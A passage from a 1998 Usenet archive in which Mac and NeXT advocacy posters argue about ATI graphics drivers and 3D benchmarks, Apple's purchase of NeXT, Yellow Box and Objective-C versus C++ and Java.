will be one day but by it's very nature, it is a difficult thing to do. Many
problems have solutions that are either intractable or impossible by their
nature (np completeness anyone?) ... programming falls in to the 'very difficult'
set (and sometimes into the impossible set).
If the time had truly arrived, there would a ubiquitous tool to do your
programming for you. Clearly, the time has not arrived, nor do I think it will
arrive anytime soon.
Jeff Richmond
-standard disclaimer-
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 22:17:00 +0200
Organization: priv.
Message-ID: <35915EBC.294899E0@chem.uit.no>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com> <slrn6p10lt.pk0.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> On Wed, 24 Jun 1998 03:43:11 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >> before in this thread ATI has a reputation of delivering unstable
> >> drivers (if you ever read newsgroups like comp.sys.ibm.pc.hardware.video
> ------------------------------------------------------^^^^^^^
> >> you would have known this)
> >Well, maybe Denaro will believe *you*, but I doubt it....:)
>
> I don't doubt that the PC drivers might be buggy, but why should this
> effect the Mac drivers?
>
It might, it migt not. But the fact remains that ATI has a bad
reputation when it comes to drivers (maybe thats why they put so much
effort in their mac-products, because PCusers dont buy much of their
products anymore).
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
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References: <358E781B.EDBC8A6D@bcomp.com> <zfWj1.79444$Kx3.21459719@news.rdc1.sdca.home.com>
<35910870.A2539F9F@bcomp.com>
Message-ID: <KMdk1.79697$Kx3.22028993@news.rdc1.sdca.home.com>
Date: Wed, 24 Jun 1998 20:59:22 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 13:59:22 PDT
Organization: @Home Network
In <35910870.A2539F9F@bcomp.com> Alan Frabutt wrote:
> rexr@dt1.sdca.home.com wrote:
> <snip>
> > We have borne witness to the creation of the computer industry as "high
> > tech". Now some 25+ years downstream of the PC "revolution", Yes we have
the
> > advantage of looking back on our history.
> >
> > I have not seen revolutionary in the computer industry since WWW, Key
> > Encryption and Macintosh. Industry hasn't a clue how to capitalize the
> > first, the gov't of the US has crippled the second and Apple... well you
know
> > WINDOWS.
> <snip>
>
> The revolution hasn't happened yet... when it does, it will start with
> reusable software objects. And it looks like Microsoft, Apple, and the
> like aren't particularly interested in dragging the computer industry,
> kicking and screaming, into the future.
>
I heard this argument in 1990 where were you? Look the holy grail of reuse
has been elusive as BigFoot and everybit as mythical. Remember revolutions
start from the bottom...
> > Grok that...
> > -r
>
> The WWW happened because people couldn't grok distributed objects. Now
> we've got Java, ongoing bastardization of the related protocols, and
> people trying to fit application development into the procrustean bed of
> a Web Browser.
>
>
A WebBrowser it may be but its there to be used... today. DO is cool but
not up to the task of replacing your bastardized protocols, Javalettes etc...
IF DO relaced todays software methodologies, it would fail. We are still
dealling with hardware which is not fault tolerant, 24/7 reliable. It does
no good to pump DO a machines which may or may not be UP.
-r
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 14:02:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1B6B76C-1F227@206.165.43.171>
References: <6mr6lg$k2b$3@hecate.umd.edu>
To: "David T. Wang" <davewang@wam.umd.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu>
>Does DAV stand for Digital Audio/Video? Maybe Apple is planning
>something
>interesting.
>
If it's what DAV used to be, it is a 64-bit processor-direct slot that
allows video to run at memory bus speeds, instead of PCI bus speeds.
Presumeably they could add a faster video card, a trimedia accelerator card
or some other option if they wanted.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 20:58:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mrpa7$i47$1@nnrp1.dejanews.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net> <slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com> <slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com> <slrn6ot93f.mvv.sal@panix3.panix.com> <35906C9F.16454705@spamtoNull.com> <slrn6p0vo7.pk0.sal@panix3.panix.com>
In article <slrn6p0vo7.pk0.sal@panix3.panix.com>,
sal@panix3.panix.com (Salvatore Denaro) wrote:
> According to Maury Markowitz, who works with Macs, this is not an issue.
> Apple's drivers for the ATI cards on the Mac are good. I trust his word
> over yours, he has worked on MacOS.
I'm not sure if I am credable or not but I am not impressed with the quality
of the ATI drivers for the Mac (I do think that the UI is slick though). A
friend of mine just got a ATI Rage Pro for his 8600/200 and since then he has
had periodic crashes during startup (the display enabler extension crashes)
and the resolution of the monitor resets to 640x480 periodically after
restart. The hardware seems fine, the problems aren't resolved after the
system is reinstalled and the PRAM zapped.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Fri, 26 Jun 1998 23:45:04 +1000
Organization: OzEmail Ltd.
Message-ID: <6n08ie$s8s$1@reader1.reader.news.ozemail.net>
References: <6mkd25$8c44@odie.mcleod.net>
In an earlier thread I expressed one answer to your question...
Basically, if you've got 1 Next user for every 10 Mac users for every
100 Windows users... then the least of Apple's worries is
Next users (& developers).
They need to keep all the cool technology from Next, but make
it look like Mac, rename parts of it with well known Mac-isms,
and make it an easy 'extension' from the current system ("carbon").
The windows users after a cool alternative won't care much
about the message, they'll just try the product.
There are still the questions: Why dump intel? Why dump DPS?
DPS is probably a separate issue to do with Adobe.
Intel? Well it helps them distance any relationship between Rhapsody
& MacOS X and milks their PowerPC line some more. I can only
hope that once people have made the mental jump to MacOS X
that the Intel version will be announced.
There's one last issue - YB. YB has no mindshare, so if Apple
wants to get developers they need to yell "Java". Maybe it will
be a trick ("hey, this isn't Java, it's YB").
Maybe it will support more than just Windows & Rhapsody. As one
person said - If YB dies you can always rewrite the YB frameworks you
were using in another Java framework. Why not do that now? Instant
YB everywhere since it's implemented in Java. And naturally stay
native on Mac & Windows for speed (maybe dust off the old OpenStep
for Sun & HP?)
Just my 2c
Greg
BTW: The other message was
Subject: MacWeek Article on Future of Rhapsody
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 23:09:20 +0200
Organization: priv.
Message-ID: <35916B00.8DB54A2E@chem.uit.no>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com> <joe.ragosta-2406980835300001@0.0.0.0>
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Joe Ragosta wrote:
>
> > Jostein Johansen wrote:
> >
> > > >
> > >
> > > At least you can throw in a 3DFx card in your lowcost PC if you get sick
> > > of the crappy 3D-preformance from vendors like ATI. If you look at some
> > > hardwaretest sites like http://www.anandtech.com/3dvidacc.html or
> > > http://www.tomshardware.com/3dchip0498.html you will notice that ATI has
> > > a decent 2D-performance, but more or less useless 3D-performance in
> > > games (in many tests its the SLOWEST chipset around). And as stated
> > > before in this thread ATI has a reputation of delivering unstable
> > > drivers (if you ever read newsgroups like comp.sys.ibm.pc.hardware.video
> > > you would have known this)
>
> Tom said that? Really?
>
> Hmm, I checked his 3D video card comparison and found the following:
>
> http://www2.tomshardware.com/3drev-3dbench.html
This is an old benchmark, updated November 10, 1997, a more up to date
is http://www.tomshardware.com/3dchip0498.html. Do please also read the
article http://www.tomshardware.com/3Dhype98.html and you may understand
why the Winbench numbers used in
http://www2.tomshardware.com/3drev-3dbench.html may not mean much as ATI
is cheating by optimising their drivers for this benchmark (while
simoultaniuesly lowering them for actual games).
>
> The ATI expert is as much as 95% as fast in 3D as the fastest card tested.
> At the low end, it's as low as 45% of the Viper 330 (although it's only
> 15% of the GL1000 for NT GL tests).
Yes, this was true in November (for winbench, not games), in April 1998
the ATI has about 38% of the top performer (Voodoo2), and by the time
the iMac is released the Nvidia Riva TNT may be the highest performer
http://www.nvidia.com/products/riva_tnt_01.html. Rivas site states that
its launched already, but i have not seen any tests yet.
>
> What you meant was that for some things the ATI is much slower than _some_
> other cards. To say that it's useless is completely, utterly wrong.
Its useless for most of the new games like Unreal and Quake2, and
remeber, this is games that already exists, who knows what will be on
the market half a year from now..
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: boracay@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Fri, 26 Jun 1998 13:46:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6n08oi$rrs$1@nnrp1.dejanews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
In article <359011E4.C8A51B95@cisco.com>,
friedman@cisco.com wrote:
> You should check out the Yellow Box (formerly OPENSTEP). Check out the
> documents at this web page:
>
> http://developer.apple.com/techpubs/rhapsody/rhapsody.html
>
> I did some programming with OPENSTEP a couple of years ago, it really
> does make many tasks in application development much easier.
I took a look at this and you know they have the basic concept right, but then
they aren't going about it quite right. For example read this from the
introductory docs on the page above:
"Some developers have the notion that Objective-C is difficult. They are
mistaken. You shouldn’t dread the thought of learning Objective-C. It is a
simple and elegant language. A typical developer, especially one experienced
in C++, should need no more than a day or two to learn Objective-C."
It sounds to me like yet another assistant to traditional programming. C'mon
Apple, you can do it, you can do better than traditional... I know you have
it, I am routing for you to save us all from lives of back breaking
programming labor
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 21:09:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mrpuv$iv5$1@nnrp1.dejanews.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <358BD202.1C45C63B@chem.uit.no> <slrn6or9e4.h0d.sal@panix3.panix.com> <358E86B9.5E41A912@spamtoNull.com> <slrn6ot9ba.mvv.sal@panix3.panix.com> <35906DA4.95B91CE8@spamtoNull.com> <slrn6p0vve.pk0.sal@panix3.panix.com>
In article <slrn6p0vve.pk0.sal@panix3.panix.com>,
sal@panix3.panix.com (Salvatore Denaro) wrote:
> I guess the PlayStation is a "poor game machine" since it isn't upgradable.
I think that the price of the PlayStation makes replacement a reasonable
choice over upgrading. The iMac is over 6x more expensive, OTOH. Your point
about the iMac having a replacable motherboard is well taken.
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From: Alan Frabutt <afrabutt@bcomp.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Date: Wed, 24 Jun 1998 17:21:33 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <35916DDD.24914D17@bcomp.com>
References: <358E781B.EDBC8A6D@bcomp.com> <ayufbaykuh-2206981347190001@dynamic26.pm04.mv.best.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 24 Jun 1998 21:36:04 GMT
ayufbaykuh@bayust.cowm wrote:
>
<snip>
>
> >"...changing, over time, from radical revolutionary to crusty
> >reactionary..."
> >
> >Kind of says alot, don't it?
>
> Taken out of context, the quote 'kind of' says nothing.
>
> Were you attempting to make a point?
Yup. Make a point, and strike a nerve. Did both.
Regards,
Alan Frabutt
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 14:19:58 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6n0ame$i33$1@supernews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com>
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Cc: boracay@hotmail.com
boracay@hotmail.com may or may not have said:
-> In article <359011E4.C8A51B95@cisco.com>,
-> friedman@cisco.com wrote:
->
-> > You should check out the Yellow Box (formerly OPENSTEP). Check out the
-> > documents at this web page:
-> >
-> > http://developer.apple.com/techpubs/rhapsody/rhapsody.html
-> >
-> > I did some programming with OPENSTEP a couple of years ago, it really
-> > does make many tasks in application development much easier.
->
-> I took a look at this and you know they have the basic concept right, but
then
-> they aren't going about it quite right. For example read this from the
-> introductory docs on the page above:
->
-> "Some developers have the notion that Objective-C is difficult. They are
-> mistaken. You shouldn’t dread the thought of learning Objective-C. It is a
-> simple and elegant language. A typical developer, especially one
experienced
-> in C++, should need no more than a day or two to learn Objective-C."
Actually, C++ inflicts severe brain damage. Typically, a C++ programmer
takes several months to recover from the desire to overload the "+" operator
to do string concatentation, not to mention bitching and moaning about
Obj-C's vastly better method call syntax.
A good C programmer can learn Objective-C in about three days. Five days if
you want to go all the way and become an Obj-C Language Lawyer.
-> It sounds to me like yet another assistant to traditional programming.
C'mon
-> Apple, you can do it, you can do better than traditional... I know you
have
-> it, I am routing for you to save us all from lives of back breaking
-> programming labor
No, it's objects all right. Try it, you'll see. Your biggest culture shock
when you move from conventional Mac OS programming to OpenStep development,
is the amount of code you *don't* have to write.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 26 Jun 1998 14:22:59 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6n0as3$i33$2@supernews.com>
References: <6mkd25$8c44@odie.mcleod.net> <6n08ie$s8s$1@reader1.reader.news.ozemail.net>
Mime-Version: 1.0
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Cc: galexand@ozemail.com.au
"Greg Alexander" may or may not have said:
[snip]
-> Maybe it will support more than just Windows & Rhapsody. As one
-> person said - If YB dies you can always rewrite the YB frameworks you
-> were using in another Java framework. Why not do that now? Instant
-> YB everywhere since it's implemented in Java. And naturally stay
-> native on Mac & Windows for speed (maybe dust off the old OpenStep
-> for Sun & HP?)
There's just this one little problem with this strategy:
JAVA SUCKS!
It didn't have to suck, but Gosling pandered to the C++ crowd and buggered up
the syntax. It's tragic, since the man *knows better!*
-jcr
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Wed, 24 Jun 1998 18:48:31 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3591904F.CD8B3427@nstar.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com <6mdae7$2d1$1@news.cs.tu-berlin.de> <358A75A3.CF50528A@nstar.net> <6meenl$99n$1@nnrp1.dejanews.com> <358AD3C8.E874B7E3@nstar.net> <andyba-ya02408000R2406981554350001@news>
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NNTP-Posting-Date: 24 Jun 1998 23:53:43 GMT
Andy Bates wrote:
> > That's an assumption I cannot and will not grant. It's hard to believe
> > that you expect me to accept this.
>
> They tried to do it with Copland, and it failed so miserably that it was
> cancelled completely without any replacement in sight. That's a pretty
> strong indication that Apple was not anywhere near development of a new,
> modern OS.
False. A DR was pressed onto CDs and was prepared to ship to developers
when Copland was canned. At the most obvious, BeOS fulfilled the
properties above. Multiple other options, including a Solaris-based
operating system, were available. The premise above, as I stated above,
is totally false.
> In any case, you can't argue that Apple WAS able to base Rhapsody (and
> MacOS X) on OpenStep, and develop it a lot faster than if they had to come
> up with an OS from scratch.
Nobody said anything about coming up with an OS from scratch. At any
rate, NeXT was purchased in December of 1996. MacOS X will ship in late
1999. Almost three years of development? I think there were other
options. At the Apple seminars I attended, the answer unfailingly given
for the NeXT purchase was that it enabled Apple to ship a new OS in the
beginning of 1998. Didn't happen.
> > Like BSD, for instance...or the Mach kernel. Of course, NeXT was the
> > *only* place to find such things. Of course *not*, that is.
>
> There is a big difference between a kernel and an OS.
Mach is a kernel. BSD is an OS. Where was I vague?
> > > Now, what was your question again about the point to the NeXT acquisition?
> >
> > Obviously, it was directed to someone more thoughtful.
>
> Obviously you didn't care for an answer to your question, since you're
> going to ignore any responses that don't mesh with your preconceived
> notions anyway.
Preconceived notions? Which would those be? The notion that the NeXT
purchase was a mistake? I don't think it's possible for you to back this
up. I'm not the only one with such "preconceived notions".
Show me wrong, Andy. Can you demonstrate contrary evidence for my
claims, or just throw sand in my eyes? I was on board for the NeXT thing
once upon a time. I don't know where you think I'm coming from, but I
think you know my posts well enough to cut the crap.
MJP
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 21:39:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mrrm9$len$1@nnrp1.dejanews.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <35910AA6.9383D8FB@nstar.net> <joe.ragosta-2406981035290001@wil45.dol.net> <3591128A.6D9D5DD5@nstar.net> <joe.ragosta-2406981146120001@wil52.dol.net>
In article <joe.ragosta-2406981146120001@wil52.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Bull. Where did I lie?
I don't think that he was accusing you of lying. I think that he was accusing
that other guy who doesn't like the ATI cards, what's his name?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 25 Jun 1998 00:01:15 GMT
Organization: University of Maryland, College Park
Message-ID: <6ms40b$qph$1@hecate.umd.edu>
References: <6mr6lg$k2b$3@hecate.umd.edu> <B1B6B76C-1F227@206.165.43.171> <see-below-2406981630520001@dynamic48.pm05.mv.best.com>
Matthew Vaughan (see-below@not-my-address.com) wrote:
: In article <B1B6B76C-1F227@206.165.43.171>, "Lawson English"
: <english@primenet.com> wrote:
: > David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu>
: >
: > >Does DAV stand for Digital Audio/Video? Maybe Apple is planning
: > >something
: > >interesting.
: > >
: >
: >
: > If it's what DAV used to be, it is a 64-bit processor-direct slot that
: > allows video to run at memory bus speeds, instead of PCI bus speeds.
: > Presumeably they could add a faster video card, a trimedia accelerator card
: > or some other option if they wanted.
: Ooh! Cool! It will be exactly like AGP, but there won't be any cards to
: use in it! Way to go Apple!
Maybe a digital camcorder can plug directly into it? (I realize this
makes no sense, iMac isn't designed for this market, but just a wild
guess) Someone had mentioned that there is a picture of the motherboard
with teh letters "DAV" superimposed on a port, can anyone provide a
pointer so I can actually look at it?
: ....................................................
: MATTHEW VAUGHAN
: matthewv at best dot com (damn spammers...)
: http://www.best.com/~matthewv/
: ....................................................
--
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Next purchase a mistake
Newsgroups: comp.sys.next.advocacy
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <358e0a5e.0@nnrp1.news.uk.psi.net> <3591481E.AE90291A@cisco.com>
Message-ID: <359193fa.0@news.depaul.edu>
Date: 25 Jun 98 00:04:10 GMT
Barry Friedman <friedman@cisco.com> wrote:
> case for using it. The problem is that today and for the next 3-5 years,
> the
> vast majority of Apple computers will run MacOS, which does not run
> Yellow Box apps.
Starting next fall, I'd expect that all newly-purchased Macs will
be running MacOS/X. New, fast Macs owned by people in a buyin'
mood (so to speak) are a more attractive market for new development
than the old, slow, technologically lagging Macs owned by people
who probably don't spend much on software anyway.
I'd expect most G3 owners to upgrade to OS/X ASAP. That should
be a respectable number of seats.
And there's always the weensy Rhapsody market (sigh). Could
be useful for some market research and for polishing the product
before going for the wider market.
> So, for all practical purposes, the Yellow Box is
> a development tool for Windows. Personally, I can't imagine anyone
> using an Apple product to write a shrink wrap application targeted at
> the Windows market, especially with Apple's reputation for dropping
> any technologies that are not instant hits.
Part of the problem is that the technologies have often been good
ideas, but crippled in some decisive way. And they probably cost
too much to develop in the first place.
> Also, Apple is a joke in the IS/Enterprise, so I doubt you'll see much
> use of Yellow Box there either. They will likely favor Java, since it's
> got more credibility and runs on far more platforms. Even WebObjects
> is a tough sell for Apple.
One benefit here is that you may be able to use Yellow and Java
to hedge each other. Java's immature, and still has issues. Yellow
is mature, but risky. By using both 100% Java code and YellowBox
code in an app, you've got less exposure than if you were using
only one or the other. You can adjust Java and YB proportions
to lessen risk or increase performance. If, half-way through
development, you find Java unsuitable for the app, you can
reimplement all or part of the Java code as YB code. If, half
way through the project Apple dumps YB, you can switch to
another Java OO framework and retain your Java code.
While Apple IS persona non grata in the Enterprise (for the most
part), I think that can be helped. It will take time, and
perfect execution to rebuild credibility. More WebObjects
customers like S&P would help.
> Apple's developer evangelism for Yellow Box is non-existant, so
> this situation is not likely to change anytime soon.
Yeah, this is a really, really bad idea. Apple evidently didn't
even bother mentioning Yellow at MacHack - even though the
MacHack organizers WANTED sessions on it!
> So I ask, who is using Yellow Box to write apps, and why?
Hope springs eternal.
Two things Apple could do that would really help:
1) Ship the non-DPS version of YB for Windows ASAP -
LONG BEFORE THEY SHIP OS/X
so that developers can actually ship on Windows
without the license fee.
2) Set up something like Be's BeDepot. I may have
quibbles with their use of C++, but
BeDepot is a home run. Apple needs to make it
as easy as possible to sell Mac software. Give
the top 100 all the tech support, but help
the little guys MOVE PRODUCT.
--
"... and subpoenas for all." - Ken Starr
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 17:04:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1B6E20C-BF633@206.165.43.171>
References: <see-below-2406981630520001@dynamic48.pm05.mv.best.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Matthew Vaughan <see-below@not-my-address.com> said:
>> If it's what DAV used to be, it is a 64-bit processor-direct slot that
>> allows video to run at memory bus speeds, instead of PCI bus speeds.
>> Presumeably they could add a faster video card, a trimedia accelerator
>card
>> or some other option if they wanted.
>
>Ooh! Cool! It will be exactly like AGP, but there won't be any cards to
>use in it! Way to go Apple!
Yep. The only reason to have a PDS/DAV slot was because nothing on the
Intel side came close. Now that AGP exists, PDS/DAV likely is irrelevant.
Of course, the MB was probably designed over a year ago, but that merely
shows that Apple STILL does not compete with the Wintel world, just as
Amelio has been claiming.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 21:58:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mrsqv$n30$1@nnrp1.dejanews.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com> <joe.ragosta-2406980835300001@0.0.0.0> <3591098F.BDFA0AEC@nstar.net> <joe.ragosta-2406981032580001@wil45.dol.net>
In article <joe.ragosta-2406981032580001@wil45.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> True. But I used the exact same source that the people who were flaming
> the ATI chip sets used.
Actually, you probably didn't. There are (at least) two web pages which refer
to the performance of the Rage chip sets. One is old and the other is
relatively new. You used the old one as a source while the people flaming the
Rage were probably using the new one. You probably didn't see the new one
which shows that the Rage as having fairly week performance. The people who
say that you are being deceptive assume that you saw both and choose to use
the (now completely irrelevant) old results in your posts.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: pekeler@luck.shnet.org (Christian Pekeler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
